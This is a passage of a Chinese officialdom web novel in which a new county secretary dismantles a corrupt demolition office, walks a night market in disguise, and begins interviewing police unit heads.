空气里弥漫着无形的硝烟,人人自危,唯恐那柄悬顶之剑,下一瞬便落在自己脖颈之上。
权力场上的风声鹤唳,从来都是春江水暖鸭先知。
然而,这令人窒息的紧张,在县城喧嚣的烟火气里,却意外地呈现出一种微妙的松弛感。
大街小巷,那些依靠方寸摊位谋生的小商小贩们,最先感知到了水流方向的改变。
那些惯常横着走路、眼睛长在头顶上的“城管制服爷”,仿佛一夜之间被抽掉了戾气的筋。
神气活现的呵斥少了,推搡踢翻摊位的蛮横近乎
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绝迹,连那套“不意思意思就别想安生”的索拿卡要,也消失得无影无踪。
城管队员们脸上的线条变得柔和,语气也掺进了几分讲理的意味,甚至会帮着扶起被风吹歪的遮阳伞。
卖煎饼的老王头搓着粗糙的手,对着旁边修鞋的李瘸子嘀咕:“邪了门了,今早那小王队长,竟还冲我点了点头!”
李瘸子放下锤子,眯眼望着街角那几个难得规规矩矩站着的蓝色身影,长长吐出一口浊气:“变了,这天儿……是真变了!”
就在这冰火交织的诡异氛围中,城投公司那间装修考究却略显沉闷的会议室里,气氛凝重得几乎能拧出水来。
椭圆长桌两侧,城投与住建两班人马泾渭分明。
城投常务副总张宏宇坐在主位下首,身体绷得笔直,目光却有些飘忽,不敢直视对面那位主导会议的新任**。
江昭宁并不看他,声音不高,却字字清晰,带着一种不容置疑的分量,敲打着在场每一个人的神经。
“城投,必须回归本源。”他指尖轻轻叩击着桌面,发出规律的轻响,如同某种倒计时,“你们的根,扎在城市的筋骨血脉里——城市道路、桥梁、隧道,这些交通命脉的投资、建设、维护,是你们的立身之本。”
他顿了顿,目光扫过几个低头记录的干部,“市政公用设施,水、电、气、热、排水、污水处理、垃圾处理,这些维系城市运转的‘生命线’,更是责无旁贷。”
“眼光还要放得更远,可持续发展,生态修复,提升城市环境质量……这些,才是城投该攥在手里、扛在肩上的正业!”
话语落地,会议室里静得只剩空调低沉的嗡鸣。
江昭宁的目光,终于如同精准的探针,稳稳地落在了张宏宇脸上。
“所以,”他话锋陡然锐利,“我建议,城投公司的拆迁办,立即撤销。”
“撤销?”张宏宇心头猛地一坠,几乎失声。
“这个部门,是蒋文光搞的,初衷为何,你我心知肚明。”
江昭宁的声音很平淡,却带着洞穿一切的了然,“那些打着拆迁旗号、混杂在队伍里的社会闲散人员,鱼龙混杂,败坏风气,一律清退,一个不留!”
“有正式编制的干部……”他目光在几个瞬间脸色煞白的城投公司领导干部脸上掠过,“从哪里抽调来的,就回到哪里去。”
第64章 浴火重生
这不是建议,是斩钉截铁的命令。
张宏宇额角沁出细密的汗珠,后背的衬衫瞬间贴紧。
他猛地站起身,动作幅度大得带倒了面前的茶杯,茶水泼洒在光洁的桌面上,也顾不上擦拭,声音带着一丝不易察觉的微颤:“是!请江**放心!”
“城投公司坚决拥护**指示,不打折扣,不走样,立即执行!”
“江**,”陈向荣眉头紧锁,忍不住开口,声音里满是困惑和忧虑,“拆迁办虽然是个临时机构,但眼下新城区建设箭在弦上,任务重、时间紧,它承担着大量具体工作。”
“一旦撤销,后续的拆迁安置工作由谁来接手推进?这……这会不会影响发展大局?”他摊开手,眼神里是真切的焦急。
江昭宁脸上并无波澜,似乎早已料到会有此一问:“陈局长考虑的是实情。拆迁办作为协调机构,有其存在的必要性,短时间内不会撤销。”
“那您刚才……”陈向荣更糊涂了。
“我所说的撤销,是破旧立新,是重建!”江昭宁斩钉截铁,“旧的模式,滋生**,激化矛盾,必须连根拔起!”
“新的拆迁机构,必须脱胎换骨!”
“重建?”陈向荣追问,“建在何处?如何建?”
“新的机构,人员构成要科学、透明。”
江昭宁的目光变得深邃,仿佛在勾勒一幅蓝图,“主任、副主任,是骨架。”
“除此之外,核心在于专业化和社会化监督!”他竖起手指,逐条阐明,“第一,必须聘请具有国家认可资质的专业评估人员,进驻核心!”
“房屋价值几何,不能由谁拍脑袋说了算,得有法可依,有据可查,评估报告必须经得起法律和历史的检验!”
“第二,要有熟悉当地情况、在群众中有威望的街道、社区干部参与进来,负责沟通协调,化解矛盾,他们是润滑剂,更是‘接地气’的桥梁。”
“第三,引入公证力量!拆迁全过程,从评估、谈判、签约到补偿款发放,每一个关键节点,必须有公证处人员现场监督,全程录音录像,确保程序合法合规,杜绝暗箱操作!”
“那些打着各种旗号、混迹其中进行威胁恐吓、意图浑水摸鱼的社会闲杂人员,必须彻底挡在门外!”
他条分缕析,如同搭建一座精密而坚固的工事。
话音未落,江昭宁已转向坐在他左侧、一直沉默记录的县纪委**王海峰。
“王**,”他的语气带着托付重任的郑重,“纪委的利剑,要时刻悬在这新机构的头顶!”
“你们必须抽调**过硬、业务精干的骨干力量,组成常驻拆迁办的人数不能少于两人!”
他的目光锐利如电,“他们的职责,就是瞪大眼睛,竖起耳朵!随时受理群众举报投诉,第一时间核查处置,对任何违规违纪苗头露头就打!确保权力在阳光下运行!”
王海峰马上点头,“明白!纪委坚决落实江**要求,会后立即抽调两人组成**监察室,确保监督无死角、震慑常态化!”
“至于这个新机构的具体归属,”江昭宁的目光最终落回陈向荣身上,带着不容推卸的信任与压力,“就设在你们住建局!”
“由你,陈向荣同志,亲自兼任主任!”
这突如其来的任命,像一块巨石投入陈向荣心湖。
兼任拆迁办主任?
这位置风口浪尖,烫手至极!
然而,江昭宁眼中那份沉甸甸的信任和毫无转圜的决断,像一道无声的命令。
几乎就在江昭宁话音落下的瞬间,陈向荣霍然起身,挺直腰板,斩钉截铁地回应,声音洪亮地回荡在寂静的会议室:“是!保证完成任务!”
散会后,张宏宇几乎是逃离了那间令人窒息的会议室,脚步虚浮地回到自己办公室。
门一关,隔绝了外界,他靠在冰凉的门板上,才惊觉自己后背的衬衫已被冷汗彻底浸透,紧紧贴在皮肤上,带来一阵黏腻的寒意。
他跌坐在宽大的皮椅里,手指不受控制地微微颤抖。
蒋文光时代留下的最大“遗产”之一,那个游走于灰色地带、为他处理无数“棘手”问题的拆迁办,连同那些默契的“合作者”,竟**昭宁如此轻描淡写又雷霆万钧地直接抹去!
快、准、狠,没有丝毫预兆,不留半点余地。
这哪里是简单的机构调整?
这是一次彻
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头彻尾的权力清洗!
江昭宁的剑,比他预想的还要快,还要锋利无情!
陈向荣则把自己关在局长室里,对着空白的记事本,一支接一支地抽烟。
烟雾缭绕中,他紧锁的眉头始终未能舒展。
兼任拆迁办主任?
这分明是把他架在熊熊燃烧的火堆上烤!
新机构听着光明正大,可那“专业化评估”、“社区协调”、“公证监督”、“纪委入驻”……哪一条不是紧箍咒?
哪一道程序不是束缚手脚的绳索?
过去那种快刀斩乱麻的“效率”将不复存在,取而代之的,是繁复、是掣肘、是无数双盯着他的眼睛。
尤其是纪委那两个人,如同两把悬在头顶随时可能落下的铡刀。
这差使,干好了未必有功,稍有不慎,便是万劫不复的深渊。
这江昭宁,是信任?还是把他推到了抵挡所有明枪暗箭的最前线?
陈向荣掐灭烟蒂,指尖传来灼痛,这痛感反而让他混乱的思绪有了一瞬的清明。
无论前方是荆棘还是深渊,他已无路可退。
江昭宁要的,就是这把穿透积弊、重塑规则的利剑,而他陈向荣,已被强行锻入了剑身。
几天后,县府大院门口那面庄重的公告栏前,人头攒动。
一份盖着大红印章的《公告》赫然张贴其上。
没有冗长的前缀,没有含糊的措辞,只有简洁到冷酷的几行字:“经县委研究决定:撤销原城投公司拆迁办公室。即日起,所有涉及县城规划区内国有土地上房屋征收与补偿工作,统一由新设立的‘东山县房屋征收与补偿中心’负责实施。该中心办公地点:县住建局三楼东侧。”
公告像一块投入深潭的巨石,在县城各个角落激荡起一圈圈涟漪。
那些曾依附于旧拆迁办、在灰色地带攫取利益的关系网,瞬间感到了大厦将倾的寒意。
消息灵通的掮客们噤若寒蝉,私下串联的电话陡然锐减。
几个曾靠着“内部消息”提前囤房的老板,焦躁地在办公室里踱步,烟灰缸很快堆满了烟蒂。
一种无形的、巨大的压力,正随着那份公告,沉甸甸地覆盖下来。
第65章 夜市
而在城东一片待拆迁的老旧居民区里,气氛却截然不同。
狭窄巷弄口,几个晒太阳的老人围着一张破旧的小方桌,桌上放着一份皱巴巴的、显然是从公告栏前抄录下来的通知。
“老刘头,你快给念念,这新衙门……真像传的那样?”一个头发花白的老太太急切地催促。
被称作老刘头的老者扶了扶老花镜,手指点着纸上的字,声音不大却清晰地念着:“……聘请专业评估人员……社区人员参与协调……公证人员全程监督……纪委工作组常驻受理投诉……”
“纪委真派人盯着?”旁边一个穿着工装、手上还沾着机油的中年汉子瞪大了眼,声音里带着难以置信的惊喜,“那帮吸血鬼,以前谁敢告?”
“告了也没用!”
“这下……这下真有人管了?”
“还有公证处录像呢!”另一个戴眼镜的退休教师推了推镜框,语气带着分析,“这就不是关起门来谈价钱了,都得摆在明面上!”
“估多少,赔多少,有录像为证,有公证作保,想赖也赖不掉!”
“听说新主任是住建局陈局长亲自兼着?”老太太还是有些疑虑,“官儿不小,能顶得住那些找关系说情的?”
“嗨,王婆子,你还没看明白?”老刘头放下那张纸,浑浊的眼睛里闪烁着久违的光亮,“这回不一样!”
“新来的江**,动的是真格的!”
“你看那吴天放,说免就免了,他外甥都扫大街去了!”
“陈局长敢不听话?再说了,”他压低了声音,带着点神秘的意味,“公告上写得清清楚楚,纪委的人就在新衙门里坐班!”
“谁想搞鬼,得先问问他们手里的‘尚方宝剑’答不答应!”
巷子里吹过一阵风,带着初春特有的微凉和潮湿泥土的气息。
那张写着公告内容的纸被风卷起一角,哗啦作响。
围观的居民们没人去按它,只是静静地看着。
那纸页翻动的声音,像极了某种陈旧枷锁正在被撬动的轻响。
风里传来的,不再是往日拆迁区惯有的惶惑与抱怨的窃窃私语。
而是一种混合着惊疑、观望,却又悄然滋生出微弱期盼的沉默。
公告栏前的人流渐渐散去,夕阳的余晖将“东山县房屋征收与补偿中心”那几个新贴上去的、墨迹未干的宋体大字,涂抹上了一层淡金色的光晕。
光晕的边缘,似乎正顽强地试图渗入那栋象征着旧秩序的大楼深处。
东山的这片天,确实在剧烈地倾轧、塌陷,但在这塌陷扬起的漫天尘埃里,一些被长久压抑的、属于规则和阳光的东西,正艰难地透出第一缕微光,试图重新勾勒这片土地未来的轮廓。
……
整个东山社会治安,市场管理秩序为之一变。
认识江昭宁的人也越来越多。
但曾经自由行走于街巷的寻常日子,也一并远去了。
白日里微服私访已成奢望。
唯有此刻,华灯初上,光影交错之处,才是他能短暂隐匿于人群的缝隙。
七月的东山镇,晚上空气粘稠得如同化不开的蜜糖。
暑气盘桓不散,即便暮色四合,也依旧沉甸甸地压在行人肩头。
江昭宁独自穿行在渐渐喧嚣起来的夜市里,口罩下呼吸有些滞涩。
他需要这层薄薄的织物——并非为了隔绝尘土或病菌,而是为了抵御那些无处不在的目光:混杂着热烈、感激,甚至一丝畏服的灼热视线。
他放慢脚步,目光扫过两旁。
巡逻的警察随处可见。
城管也文明了许多。
摊贩们不必再如惊弓之鸟般四处张望,守着各自的营生,吆喝声也透着股久违的坦荡。
食客们围坐小桌旁,笑语喧阗,杯盘轻碰之声不绝于耳,汇成一片安稳的市井喧哗。
这喧闹本身,便是一种无声的证词,证明着某种令人心安的秩序已然扎根。
江昭宁默默看着,口罩上方露出的那双眼睛,仿佛两泓深潭,映着灯火,也映着这人间烟火悄然重燃的景象。
摊主们招呼着顾客,偶尔也对着他吆喝两声:“老板尝尝?刚出锅的!”
“鸡翅味道好得很!”
江昭宁走过小广场。
广场舞的大妈们正对着音响手忙脚乱地调整节奏。
她们不像以前那般气势汹汹地横霸整个广场中央,如今却自觉地缩在一个固定的区域之
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内,音响的声音也不再充满暴烈的攻击性,只在本该寂静的小城之夜低回如潺潺溪水。
江昭宁从这轻柔的音波边缘穿过,无人侧目。
没人认出他这个给这条广场新划出边界、给喧嚣套上笼头的人。
口罩之上,他的眼睛微微弯了弯。
然而口罩在这灯火稀疏、众人皆坦面示人的夜晚里,成了一道奇异的注脚。
“感冒了?”水果摊的胖婶探出头问,眼睛扫过他脸上的遮蔽。
江昭宁含糊地点头:“嗯…怕传染人。”
“多喝水啊老板!”她缩回身子,转头去关照自己的小生意。
脚步无意识地将江昭宁引至“老蔡家常菜”的店门前。
老旧的灯箱在夜色里忽明忽暗地闪烁,油烟混合着饭菜的香气从窄小的门面里汹涌而出,带着一种粗粝的、活生生的温度。
他驻足片刻,终于抬手,轻轻摘下了那层闷热的遮蔽。
口罩滑落,露出他本来的面容。
“哎哟!”一声带着惊喜的惊呼从店里炸开,苏梅娟老板娘像一阵风似地卷到门口。
她腰间的旧围裙沾着几点油星,额角沁着细密的汗珠,笑意盈盈,“小老弟!是你啊!”
她习惯性地伸手就要拍他肩膀,指尖却在半空猛地顿住,如同被无形的线牵扯着。
她脸上的笑意也僵了一瞬,随即才带着点不自然的熟稔落下来,“老天爷,这得有多久没见着你了?”
“还以为你早回家去了呢!”
江昭宁含笑点头,顺势避开那几乎要落下的手掌,动作自然得如同拂去衣上尘埃:“苏大姐,还没呢。”
“在这边寻了个差使,暂时不打算回去了。”
他的声音温和,听不出丝毫波澜。
“在我们这破东山?”苏梅娟的嗓门瞬间拔高,像是不敢相信自己的耳朵,眼里的惊诧几乎要满溢出来。
她撇撇嘴,手中的抹布无意识地绞紧,“找差使?小老弟,你这话可蒙不了我!”
“东山有啥金疙瘩能留住人?”
“年轻人恨不能插上翅膀往外飞,咱这破地方,几百年没见过外乡人来扎根讨生活的了!”
“你莫不是哄姐开心?”
第66章 没半点变化?
她边说着,边麻利地将江昭宁让进店里靠墙那张稍显清净的小方桌旁,动作带着点不容置疑的利落。
江昭宁安然落座,目光扫过略显冷清的店堂。
他唇角的笑意加深了些许,带着一种笃定的意味:“苏大姐,话可不能说得太早。”
“东山,可是个聚宝盆。如今风气正在转,只要路子走对了,好好开发,将来自然会有‘虹吸’的效应。”
“到时候,只怕想回来的、想涌进来的,多得让你这店里的板凳都不够坐呢。”
“虹吸?吸啥?”苏梅娟眉头拧得更紧。
她一边手脚麻利地给江昭宁倒上一杯温热的粗茶,一边毫不客气地嗤笑出声,“小老弟,你这调调儿,听着可跟那些台上念稿子的官老爷一个模子刻出来的!”
“尽会画些吃不着的大饼,说些云山雾罩的漂亮话!”
茶水注入杯中,激荡起微小的漩涡,她的话语也带着相似的、不以为然的旋流。
她将茶杯重重放在江昭宁面前,杯底与桌面碰撞发出清脆一响,茶水溅出几滴。
江昭宁并未在意那溅出的茶水,只是稳稳地端起杯子,轻轻吹散热气,并未立即啜饮。
他抬眼,目光沉静地看向苏梅娟,那目光仿佛能穿透她习惯性的抱怨:“苏大姐,咱说实在的,你当真一点感觉都没有?”
他微微前倾,声音压低了些,带着一种引导的意味,“这东山的风气,这做生意的环境,当真还跟从前一个样,没半点变化?”
他的问题轻巧落下,却像投入深潭的石子。
“变化?”苏梅娟粗声反问,下意识地抓起肩头的毛巾擦了把汗,那毛巾上混合着汗味和油烟的气息。
她动作顿住,眼神不由自主地飘向门外喧嚣的夜市,又迅速收回,眉头拧成了疙瘩,仿佛在费力地打捞着记忆深处的碎片。“……要说一点没有,那也是昧良心。”
她终于开口,语气不再像刚才那样冲,像是被自己的话绊了一下,声音也低缓下来,“那些敲骨吸髓的‘保护费’,那些隔三差五来白吃白拿、拍桌子瞪眼睛的凶神,近来是真消停了。”
“……晚上心里踏实不少,不用老惦记着门板够不够结实。”
她顿了顿,似乎在掂量着措辞的分寸,眼神闪烁,声音压得更低:“还有……那个派出所的刘所。”
“就前些日子,破天荒地亲自来了趟,把他以前在我这儿赊的、吃的、拿的那些账,”她伸出粗糙的手指,用力点了点油腻的桌面,“一笔一笔,算得清清楚楚,连本带利,一个子儿不少,全给结清了!”
她说到“结清”二字时,语气里仍带着难以置信的恍惚,“那天数钱的时候,我这手都哆嗦,太阳打西边出来了这是?”
江昭宁静静地听着,没有插话。
他端起那杯粗茶,终于浅浅地啜了一口。
温热的液体带着粗粝的微涩滑过喉咙,如同这东山积弊的滋味。
苏梅娟的叙述虽琐碎,却拼凑出最真实的基层图景——暴力勒索的阴云正在消散,权力寻租的冰山一角开始融化。
尤其是刘洋意结清旧账这一笔,看似小事,其意义却如巨石落水。
这绝非孤立事件,更像是一系列整顿后,权力被迫收敛爪牙、开始遵循规则的一个明确信号。
这信号,比任何空洞的口号都更具说服力。
“你看,苏大姐,”江昭宁放下茶杯,杯底轻轻磕在桌面上,发出轻微的声响,他的声音温和而清晰,“风,确实在动。”
“虽然慢,但确实在朝着该吹的方向走。”他目光扫过店堂,落在角落里一张空置的旧桌上,“等这风再吹得透些,吹得久些,你担心的板凳不够坐,或许真不是句玩笑话。”
“得想想怎么把你这招牌菜做得更香,把地方收拾得更亮堂,准备着迎客吧。”
苏梅娟愣愣地看着他,手里无意识地攥着那块油腻的抹布。
江昭宁的话语,像是一颗投入她心湖的石子,激起的涟漪一圈圈荡开。
她张了张嘴,似乎想反驳那“虹吸”的远景,可“刘所结账”那实实在在的震动还在心头回荡,让她一时竟找不出惯常泼冷水的词句。
那点微弱的、被长久压抑的希望,竟在这位神秘“小老弟”笃定的目光里,挣扎着冒出了一星绿芽。
“话是这么说……”苏梅娟喃喃着,声音小了下去,底气明显不足。
她低头用力擦着
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本就干净的桌面,仿佛要把那点动摇也一同擦掉。
这时,邻桌几个刚下工的汉子高声点菜,吆喝着要“老蔡的拿手糖醋排骨”。
苏梅娟像是被惊醒,连忙应了一声,匆匆对江昭宁道:“你先坐会儿,茶自己添!”
便风风火火地转身扎进了热气蒸腾的灶间。
锅铲碰撞声、油锅的滋啦爆响瞬间高亢起来,淹没了方才那点略显凝滞的对话。
江昭宁坐在角落里,重新戴上口罩。
店堂里饭菜的香气、食客的喧哗、厨房里锅碗瓢盆的交响,汇成一片嘈杂而真实的市声,将他包裹。
他透过小小的窗户望出去。
夜市的灯火在温热的晚风中明明灭灭,像无数只充满生机的眼睛。
这喧腾的烟火人间,这来之不易的寻常安稳,便是他所有跋涉的注脚。
苏梅娟端着那盘油亮喷香的糖醋排骨,脚步利落地穿过几张桌子。
目光下意识地扫过角落那张小方桌——那里已然空空如也,只余下一个洗得发白、杯底还残留着一点褐色茶渍的粗瓷杯,在昏黄的灯光下静默着。
她脚步顿了顿,心头莫名地空了一下,仿佛某个刚刚点亮的念头,又被什么东西轻轻掐灭了。
“老板娘,这边!快点啊!”汉子的催促声拉回了她的神思。
“来了来了!”苏梅娟扬声应着,脸上重新堆起生意人惯有的热络笑容,快步朝那桌走去。
只是放下那盘排骨时,她的目光还是忍不住再次投向那个空了的角落。
昏黄灯光下,粗瓷杯的边缘似乎还残留着一点若有若无的温热。
口罩遮蔽了面容,却掩不住那双眼睛里的光——那双眼睛。
苏梅娟总觉得曾在某个令东山县城屏息凝神的肃穆时刻,于万众仰望的高处,遥遥地、沉静地注视过这片土地。
这念头如同细小的电流窜过,她放下糖醋排骨的手微微一顿,油亮的酱汁在盘沿轻轻晃了晃。
喧嚣市声依旧汹涌,人间的炉火持续燃烧,角落空位已无痕迹,唯有杯底那圈浅浅的茶渍。
像一枚悄然叩过门扉又无声退去的印鉴,默默印证着某种已然开始松动、正在重新校准的重量。
第68章 认认人?
江昭宁静静地听着,手指间习惯性地捻着一支签字笔,目光落在汇报材料上那些跳动的数字和人名上。
李国栋汇报完毕,会议室里陷入短暂的安静,只有空调风口送出的微弱风声。
“国栋同志和同志们的工作很有成效。”江昭宁终于开口,语调不高,却让所有人都集中了精神,“时间表很清晰,准备也很充分。”
“不过……”他话锋微转,抬眼看着李国栋,“在正式挂牌运作前的这段时间,日常的街面巡逻工作是如何保证的?”
“特别是晚间的巡逻密度和响应速度?现在整合期间,空窗期最怕出事。”
问题很具体,也很犀利,直接点到了最容易产生疏漏的过渡环节。
李国栋显然早有预案,立即应答道:“请**放心。目前我们采取的是‘机关下沉+基层联动’的临时预案。”
“局党委要求机关科室**,除必要坐班人员外,每天按三班倒的排班机制,轮流参与城区重点区域的叠加式巡逻,形成第一梯队的支撑力量。”
“同时,要求城区派出所,将其机动巡逻警力抽调到局一级层面,在情报指挥中心的统一调度下进行网格化流动执勤。”
“我们称之为‘双轨并行’机制,核心警力都在路上,覆盖面和反应速度得到了有效保障。”
“我们自己也组织了两次夜间突查,效果还是不错的。”
“嗯。”江昭宁微微颔首,目光从李国栋脸上扫过其他班子成员,“很好。考虑得比较周全。”
“队伍整合和业务融合的平稳过渡很重要。”
这个简短的肯定像是一道指令的确认,让会议室里紧绷的氛围松弛了一点点。
江昭宁端起茶杯,喝了一口温热的茶水,茶叶的清香在舌尖微苦回甘。
他的目光落在窗外楼下正在演练的年轻辅警身上片刻,随即转向李国栋,目光清澈却带着不容置疑的分量。
“听了班子的汇报,心里有底了一些。”
江昭宁端起茶杯,不疾不徐地呷了一口,温热的茶水润过喉间。
他放下杯子,目光再次扫视全场,平静地开口,仿佛只是提出一个再自然不过的要求:“工作汇报得很清楚。”
“既然来了,国栋同志,把你们局里各大队的主要负责同志也都请过来吧。”
他顿了顿,语气平稳如常,却带着一种不容置喙的分量,“治安、刑侦、经侦、禁毒、网安、法制、警务督查……都叫来。”
“他们都是县委任命的副科级干部,我这个**,也该认认人,熟悉熟悉情况。”
“下面真正干活的都是这些大队长、教导员们。”
江昭宁的语气很平和,却自带一种掌控全场的凝滞感,“他们是执行层面最关键的力量。”
“一个单位,班子是大脑,中层是腰脊,具体干活的,可都是这些骨干啊。”
“我想听听他们的想法,熟悉熟悉这些战斗在一线的同志们。”
这话背后的意思再明白不过了:我来不仅仅是听你局长汇报的“面上文章”,更重要的是要认识、审视、乃至于初步评估这支执行队伍中最关键的环节力量——那些执掌一方具体警务的指挥员们。
他们是政策落地的关键环节。
李国栋脸上的肌肉几不可察地抽动了一下,那瞬间的僵硬快如闪电,却没能逃过江昭宁的眼睛。
李国栋随即反应过来,笑容立刻重新堆满:“应该的,应该的!”
“江**关心我们基层干部,这是大家的荣幸!”
这位新**果然不会满足于听听汇报,他是要“探底”,而且要深入到具体的执行层。
他语速加快,转头对坐在最靠近他的政委刘博文低声吩咐,声音里带着一丝不易察觉的急促:“老刘,赶紧,通知各大队一把手,跑步到会议室!”
刘博文应声而起,动作快得像被无形的鞭子抽了一下。
他快步走出会议室,显然是去紧急召集名单上的所有人。
他的脚步声在空旷的走廊里急促地远去。
留下更加深沉的寂静。
等待的这几分钟里,会议室的气氛变得有些微妙的沉闷。
江昭宁没有再开口,只是翻看着那份详细的交巡警大队组建方案,偶尔用笔在材料边缘空白处轻轻划上一两笔。
李国栋和其他几位局领导也各自维持着一种表面平静的姿态。
或是低头看着面前的记事本。
或是端起水杯喝水,眼神都保
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持着一种恭敬的低垂状态。
空气里似乎弥漫着一种无形的压力,关于那些即将被**“认识一下”的中层干部们的一切——工作实绩、队伍风评、对上层的忠诚度、甚至某些不为人知的“小瑕疵”——都可能在这次看似随意的“见见面”中,以某种难以预料的方式映入**的视野。
没有人知道**那双平静的眼睛背后,正在做怎样的评估与记录。
李国栋脸上那职业化的笑容,如同被无形的冷风吹过,正在一点点凝固、剥落。
他放在桌下的手,下意识地握紧了,指节因为用力而微微泛白。
这位掌控着东山强力部门的局长,此刻清晰地感受到一种久违的、带着芒刺的压力,正从主位上那位平静的年轻**身上弥漫开来,无声地挤压着他所熟悉的权力空间。
这看似寻常的“认认人”,绝非表面那般简单。
它像一把无形的手术刀,即将划开他精心维护的秩序表皮,探向那些平日被层级严密包裹、不容轻易窥视的神经末梢。
时间不长,门外走廊里开始传来杂沓却克制着放轻的脚步声,有皮鞋踩在大理石地面的清脆声响,也有胶底警靴发出的沉闷摩擦声,低声而急促的交流声若隐若现。
显然被召集的各个中层领导正火速从各自的楼层、办公室赶向这里集合。
走廊里瞬间聚拢的人气,隔着厚厚的门板也传进了会议室。
会议室外那道墙,仿佛隔绝着两个世界:里面是顶层决策的静水流深,外面是核心中层的喧嚣与忐忑。
江昭宁缓缓合上了手中的材料,目光似乎穿过会议室厚重的墙壁,投向外面那因他一个简单的指令而骤然躁动起来的空间。
他嘴角勾起一丝难以察觉的弧度,这仅仅是第一步,踩在“东山”这块土地上的脚步,需要踩得更实,看得更深。
那些即将走进来的面孔和他们的言语,将是解读这座冰山真实形态的最新线索。
他需要的,远不止是李国栋那份逻辑清晰的汇报。
这座庞大而复杂的机器的运转声音,需要他亲自聆听内部每一个关键部件发出的声响。
江昭宁的目光沉静如水,掠过一张张神色各异的面孔。
第69章 面谈
他捕捉到了那瞬间交换的眼风,那微微调整的坐姿,那强自镇定的掩饰——权力穹顶下,每一缕细微的波动,都是值得玩味的密码。
他此来,不仅要听那写在纸面、挂在口头的“推进顺利”,更要亲眼看看支撑起这座强力堡垒的梁柱,亲手掂量掂量这些关键位置上人物的成色与温度。
**局这潭水有多深?
水面之下,是清流还是暗涌?
李国栋这面旗帜之下,是铁板一块,还是别有洞天?
答案,或许就藏在那扇即将被推开的大门之后,藏在那几位正“跑步赶来”的大队长脸上细微的纹路、眼底一闪而过的光里。
他端起茶杯,又呷了一口。
茶水温热依旧,舌尖却品出一丝别样的滋味。
他放下杯盏,杯底与桌面相触,发出一声轻响,在这寂静里格外清晰。
这声音像一个小小的顿号,暂时中止了令人窒息的等待。
他微微向后靠向椅背,姿态放松下来,目光却更加深邃锐利,如同无形的探针,牢牢锁定着那扇即将开启的门扉。
这些党委成员知道谈话就要开始了,他们一个个退了出去。
第一个应召进来的是警务督查大队长夏向明。
他坐在江昭宁对面那张宽大的扶手椅里,身体微微前倾,姿态恭敬得几乎无可挑剔,却又像一张绷得过紧的弓弦。
他额角渗出的细密汗珠,在头顶惨白灯光的照射下闪烁着微光,沿着鬓角悄然滑落,留下一道不易察觉的湿痕。
他双手规规矩矩地平放在膝盖上,指尖却无意识地抠着深蓝色警裤的布料,留下浅浅的折痕。
“江**,督查大队的工作,一直严格遵照上级指示精神和相关条例……”夏向明的嗓音不高,带着一种经过精心打磨的圆滑,每一个字都像是从公文模板里拓印下来,四平八稳,严丝合缝。
江昭宁靠在椅背上,目光平静地扫过夏向明那张努力维持着标准汇报表情的脸。
他端起桌上那只白瓷茶杯,杯壁温润,茶汤色泽深褐,凑近唇边呷了一口。
茶水入口微涩,带着一股陈年茶叶特有的沉闷味道,悄然滑入喉中。
他放下茶杯,指尖在光滑的杯壁上轻轻摩挲了一下,留下一个模糊的指纹印记。
“嗯,”江昭宁的回应同样简洁,听不出任何情绪,“队伍思想动态呢?有没有发现什么值得注意的倾向性问题?”
夏向明喉结明显地滚动了一下,仿佛咽下了一块无形的硬物。
“局党委,包括李局自己,一直高度强调从严治警这根弦儿。”
“从‘对党忠诚’大讨论开始,到狠抓‘关键少数’,再到日常谈心谈话制度落实,程序性督导是定期全覆盖的。”
“总体来看,同志们的精神面貌积极向上,工作质效稳步提升。”他微微顿了顿,像是在检索更精确的表达,“当然,具体个案中,偶发的、极小范围的经验不足或者执行偏差,客观上也可能存在。”
“但都严格按程序处理反馈过,相关材料按上级要求也都已留痕上报。”
他脸上的肌肉微微抽紧,笑容像是粘上去的面具,纹丝不动:“总之,个别苗头性问题都在可控范围内。”
“我们内部……一直在加强教育引导,确保不出岔子。”
“总体上……大局是稳的,**。”他飞快地补充道,语速刻意放慢,确保每个字都清晰可辨,却又滴水不漏。
夏向明的话如同精心筛过的细沙,均匀、平滑,却填不平任何一个真正的坑洼,更捏不出一丁点儿可供深究的棱角。
江昭宁不再追问,只是微微点了点头,目光转向窗外。
窗帘缝隙里透出的那线阳光,正好落在他手边的桌面上,尘埃在其中无声地舞动。
他心中给夏向明打了个分:谨慎有余,担当不足。
一个合格的管理者,或许能守住不出大错的底线,但指望他刮骨疗毒、开创新局,怕是水中捞月。
他挥了挥手,动作不大,却带着一种不容置疑的结束意味:“可以了,你回去吧。”
“是!感谢江**指导!”夏向明如蒙大赦,猛地站起身,动作幅度有些过大,椅子腿在光洁的地板上刮出刺耳的摩擦声。
他下意识地抬手,用手背在额头上用力揩了一把,抹去那片湿漉漉的狼狈。
随即深深鞠了一躬,几乎是**着,脚步
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略显仓促地离开了这间让他窒息的会议室。
门在他身后轻轻合拢,隔绝了他急促远去的脚步声。
室内重新归于寂静,只剩下空调那固执的嗡鸣。
江昭宁又喝了一口茶,那股陈涩的味道似乎更浓了。
他放下杯子,目光无意间落在桌面上那缕移动的、越来越黯淡的光线上。
就在这光影变幻的瞬间,一张为首的缉毒警察面孔毫无预兆地撞入脑海——风尘仆仆,眼神却像高原上的鹰隼,锐利得能穿透人心。
“眼睛看到的,耳朵听到的,有时候,未必就是你以为的那样。”
那低沉沙哑的嗓音,带着一种在泥泞和黑暗中滚打出来的穿透力,仿佛一把钝刀子,直接楔进了江昭宁的心底。
那句话,像一道冰冷的闪电,劈开了眼前这间沉闷会议室里精心布置的秩序表象。
让他第一次对这个陌生的县城,产生了某种难以言喻的警惕和探寻的欲望。
那个人,他是谁?
能在那种情境下说出那样的话,至少也该是缉毒大队的领头人吧?
大队长?或者教导员?
江昭宁的心头掠过一丝微弱的期待,像暗夜里偶然擦亮的一点火星。
“李县长,”江昭宁的声音不高,却清晰地穿透了厚重的门板,“麻烦叫一下缉毒大队的负责人过来。”
“是!江**!”门外立刻传来李国栋恭敬的回应。
他一直守在门外。
瞬间,会议室的门被轻轻推开。
一个身影迈着标准的齐步走了进来,在江昭宁面前几步处立定,“啪”地一个标准的敬礼,动作干净利落,带着一股训练场上的飒爽之气。
“报告江**!缉毒大队大队长赵永安,前来报到!”
江昭宁抬眼看去。
来人约莫四十出头,身材挺拔,警服熨烫得一丝不苟,肩章和警号在灯光下反射着锃亮的光泽。
脸庞轮廓分明,下巴刮得铁青,连头发都梳理得根根服帖。
整个人站在那里,如同一把刚刚擦拭完毕、准备入鞘的**,挑不出任何毛病。
然而,江昭宁心中那点微弱的火星,却无声地熄灭了。
不是他!
第70章 失望
